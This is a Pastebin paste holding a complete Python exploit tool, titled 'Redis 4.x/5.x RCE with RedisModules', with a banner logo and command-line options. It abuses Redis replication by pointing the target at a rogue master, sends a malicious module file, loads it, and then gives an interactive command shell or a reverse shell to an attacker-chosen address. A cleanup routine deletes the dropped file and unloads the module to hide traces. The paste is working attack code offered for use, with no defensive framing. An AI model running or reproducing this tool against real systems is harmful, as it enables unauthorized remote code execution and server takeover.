Advertisement
Guest User

Untitled

a guest
Dec 6th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.84 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # coding:utf-8
  3. import socket
  4. import os
  5. import sys
  6. import re
  7. from time import sleep
  8. import argparse
  9. from six.moves import input
  10.  
  11. CLRF = "\r\n"
  12. LOGO = R"""
  13. █▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄
  14. █ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀
  15. █▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄
  16. █ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀
  17. █ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀
  18. ▀ ▀
  19. """
  20.  
  21. def mk_cmd_arr(arr):
  22. cmd = ""
  23. cmd += "*" + str(len(arr))
  24. for arg in arr:
  25. cmd += CLRF + "$" + str(len(arg))
  26. cmd += CLRF + arg
  27. cmd += "\r\n"
  28. return cmd
  29.  
  30.  
  31. def mk_cmd(raw_cmd):
  32. return mk_cmd_arr(raw_cmd.split(" "))
  33.  
  34.  
  35. def din(sock, cnt):
  36. msg = sock.recv(cnt)
  37. if verbose:
  38. if len(msg) < 300:
  39. print("\033[1;34;40m[->]\033[0m {}".format(msg))
  40. else:
  41. print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
  42. if sys.version_info < (3, 0):
  43. res = re.sub(r'[^\x00-\x7f]', r'', msg)
  44. else:
  45. res = re.sub(b'[^\x00-\x7f]', b'', msg)
  46. return res.decode()
  47.  
  48.  
  49. def dout(sock, msg):
  50. if type(msg) != bytes:
  51. msg = msg.encode()
  52. sock.send(msg)
  53. if verbose:
  54. if sys.version_info < (3, 0):
  55. msg = repr(msg)
  56. if len(msg) < 300:
  57. print("\033[1;32;40m[<-]\033[0m {}".format(msg))
  58. else:
  59. print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
  60.  
  61.  
  62. def decode_shell_result(s):
  63. return "\n".join(s.split("\r\n")[1:-1])
  64.  
  65.  
  66. class Remote:
  67. def __init__(self, rhost, rport):
  68. self._host = rhost
  69. self._port = rport
  70. self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  71. self._sock.connect((self._host, self._port))
  72.  
  73.  
  74. def send(self, msg):
  75. dout(self._sock, msg)
  76.  
  77. def recv(self, cnt=65535):
  78. return din(self._sock, cnt)
  79.  
  80. def do(self, cmd):
  81. self.send(mk_cmd(cmd))
  82. buf = self.recv()
  83. return buf
  84.  
  85. def close(self):
  86. self._sock.close()
  87.  
  88. def shell_cmd(self, cmd):
  89. self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)]))
  90. buf = self.recv()
  91. return buf
  92.  
  93. def reverse_shell(self, addr, port):
  94. self.send(mk_cmd("system.rev {} {}".format(addr, port)))
  95.  
  96.  
  97. class RogueServer:
  98. def __init__(self, lhost, lport, remote, file):
  99. self._host = lhost
  100. self._port = lport
  101. self._remote = remote
  102. self._file = file
  103. self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  104. self._sock.bind(('0.0.0.0', self._port))
  105. self._sock.settimeout(15)
  106. self._sock.listen(10)
  107.  
  108. def handle(self, data):
  109. resp = ""
  110. phase = 0
  111. if data.find("PING") > -1:
  112. resp = "+PONG" + CLRF
  113. phase = 1
  114. elif data.find("REPLCONF") > -1:
  115. resp = "+OK" + CLRF
  116. phase = 2
  117. elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
  118. resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
  119. resp += "$" + str(len(payload)) + CLRF
  120. resp = resp.encode()
  121. resp += payload + CLRF.encode()
  122. phase = 3
  123. return resp, phase
  124.  
  125. def close(self):
  126. self._sock.close()
  127.  
  128. def exp(self):
  129. try:
  130. cli, addr = self._sock.accept()
  131. print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(addr[0], addr[1]))
  132. while True:
  133. data = din(cli, 1024)
  134. if len(data) == 0:
  135. break
  136. resp, phase = self.handle(data)
  137. dout(cli, resp)
  138. if phase == 3:
  139. break
  140. except Exception as e:
  141. print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
  142. cleanup(self._remote, self._file)
  143. exit(0)
  144. except KeyboardInterrupt:
  145. print("[-] Exit..")
  146. exit(0)
  147.  
  148.  
  149. def reverse(remote):
  150. print("[*] Open reverse shell...")
  151. addr = input("[*] Reverse server address: ")
  152. port = input("[*] Reverse server port: ")
  153. remote.reverse_shell(addr, port)
  154. print("\033[92m[+]\033[0m Reverse shell payload sent.")
  155. print("[*] Check at {}:{}".format(addr, port))
  156.  
  157.  
  158. def interact(remote):
  159. print("\033[92m[+]\033[0m Interactive shell open , use \"exit\" to exit...")
  160. try:
  161. while True:
  162. cmd = input("$ ")
  163. cmd = cmd.strip()
  164. if cmd == "exit":
  165. return
  166. r = remote.shell_cmd(cmd)
  167. if 'unknown command' in r:
  168. print("\033[1;31;m[-]\033[0m Error:{} , check your module!".format(r.strip()))
  169. return
  170. for l in decode_shell_result(r).split("\n"):
  171. if l:
  172. print(l)
  173. except KeyboardInterrupt:
  174. return
  175.  
  176. def cleanup(remote, expfile):
  177. # clean up
  178. print("[*] Clean up..")
  179. remote.do("CONFIG SET dbfilename dump.rdb")
  180. remote.shell_cmd("rm ./{}".format(expfile))
  181. remote.do("MODULE UNLOAD system")
  182. remote.close()
  183.  
  184. def printback(remote):
  185. back = remote._sock.getpeername()
  186. print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1]))
  187.  
  188.  
  189. def runserver(rhost, rport, lhost, lport):
  190. # get expolit filename
  191. expfile = os.path.basename(filename)
  192. #start exploit
  193. try:
  194. remote = Remote(rhost, rport)
  195. if auth:
  196. check = remote.do("AUTH {}".format(auth))
  197. if "invalid password" in check:
  198. print("\033[1;31;m[-]\033[0m Wrong password !")
  199. return
  200. else:
  201. info = remote.do("INFO")
  202. if "NOAUTH" in info:
  203. print("\033[1;31;m[-]\033[0m Need password.")
  204. return
  205.  
  206.  
  207. print("[*] Sending SLAVEOF command to server")
  208. remote.do("SLAVEOF {} {}".format(lhost, lport))
  209. printback(remote)
  210. print("[*] Setting filename")
  211. remote.do("CONFIG SET dbfilename {}".format(expfile))
  212. printback(remote)
  213. sleep(2)
  214. print("[*] Start listening on {}:{}".format(lhost, lport))
  215. rogue = RogueServer(lhost, lport, remote, expfile)
  216. print("[*] Tring to run payload")
  217. rogue.exp()
  218. sleep(2)
  219. remote.do("MODULE LOAD ./{}".format(expfile))
  220. remote.do("SLAVEOF NO ONE")
  221. print("[*] Closing rogue server...\n")
  222. rogue.close()
  223. # Operations here
  224. choice = input("\033[92m[+]\033[0m What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: ")
  225. if choice.startswith("i"):
  226. interact(remote)
  227. elif choice.startswith("r"):
  228. reverse(remote)
  229. elif choice.startswith("e"):
  230. pass
  231.  
  232. cleanup(remote, expfile)
  233.  
  234. remote.close()
  235. except Exception as e:
  236. print("\033[1;31;m[-]\033[0m Error found : {} \n[*] Exit..".format(e))
  237.  
  238. def main():
  239. parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
  240. parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
  241. parser.add_argument("-p", "--rport", dest="rport", type=int,
  242. help="target redis port, default 6379", default=6379)
  243. parser.add_argument("-L", "--lhost", dest="lhost", type=str,
  244. help="rogue server ip", required=True)
  245. parser.add_argument("-P", "--lport", dest="lport", type=int,
  246. help="rogue server listen port, default 21000", default=21000)
  247. parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
  248. parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
  249. parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
  250. options = parser.parse_args()
  251. # runserver("127.0.0.1", 6379, "127.0.0.1", 21000)
  252.  
  253. print("[*] Connecting to {}:{}...".format(options.rhost, options.rport))
  254. global payload, verbose, filename, auth
  255. auth = options.auth
  256. filename = options.file
  257. verbose = options.verbose
  258. if os.path.exists(filename) == False:
  259. print("\033[1;31;m[-]\033[0m Where you module? ")
  260. exit(0)
  261. payload = open(filename, "rb").read()
  262. runserver(options.rhost, options.rport, options.lhost, options.lport)
  263.  
  264.  
  265. if __name__ == '__main__':
  266. print(LOGO)
  267. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement